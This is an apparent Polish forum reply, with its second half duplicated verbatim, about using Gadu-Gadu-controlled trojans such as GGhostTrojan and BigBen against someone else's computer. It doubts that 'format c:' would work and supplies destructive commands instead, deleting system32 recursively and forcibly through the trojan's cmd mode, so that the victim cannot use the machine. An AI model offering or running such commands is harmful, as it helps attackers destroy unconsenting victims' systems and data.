Jeżeli korzystasz tylko z takiego trojana, którego klientem jest gg i polecenia wydaje się właśnie przez gg, to też powinien mieć dostęp do CMD. Pamiętam, że GGhostTrojan miał coś takiego, że wpisywało się najpierw komendę "cmd" i w tym momencie można było wpisać downolne dos'owoskie polecenie (w tym oczywiście również 'format'). Jak się wpisało bodajże "cmd off" to wychodziło sie z cmd'a i mozna było wpisywać tylko 'trojanowe' polecenia (dokładnie tak samo było zdaje się w BigBenie).
Co do BigBena jeszcze, to rzeczywiście miał takie polecenie 'format', ja jednak dalej będę się upierał że formata partycji systemowej nie można zrobić przy uruchomionym windowsie.
No chyba że BB zrestartuje kompa i wtedy rozpocznie formatowanie, chociaż szczerze w to wątpie.
No a poza tym coś się tak uparł na tego formata
Przecież napisałeś na początku, że chcesz uniemożliwić komuś korzystania z kompa, więc po co od razu ten format c: tym bardziej że jego wykonanie jest wątpliwą kwestią.
Wystarczy że np. w takim GGhost wpiszesz np.:
del c:windowssystem32
albo:
cmd
del /f /s /q c:windowssystem32
cmd off
no i podobnie w BBenie:
kasuj c:windowssystem32
albo po przejściu do cmd:
cmd
del /f /s /q c:windowssystem32
cmdoff
No i na jedno wyjdzie - ten nieszczęśnik na pewno nie będzie miał już możliwości korzystania z kompa...
Co do BigBena jeszcze, to rzeczywiście miał takie polecenie 'format', ja jednak dalej będę się upierał że formata partycji systemowej nie można zrobić przy uruchomionym windowsie.
No chyba że BB zrestartuje kompa i wtedy rozpocznie formatowanie, chociaż szczerze w to wątpie.
No a poza tym coś się tak uparł na tego formata
Przecież napisałeś na początku, że chcesz uniemożliwić komuś korzystania z kompa, więc po co od razu ten format c: tym bardziej że jego wykonanie jest wątpliwą kwestią.
Wystarczy że np. w takim GGhost wpiszesz np.:
del c:windowssystem32
albo:
cmd
del /f /s /q c:windowssystem32
cmd off
no i podobnie w BBenie:
kasuj c:windowssystem32
albo po przejściu do cmd:
cmd
del /f /s /q c:windowssystem32
cmdoff
No i na jedno wyjdzie - ten nieszczęśnik na pewno nie będzie miał już możliwości korzystania z kompa...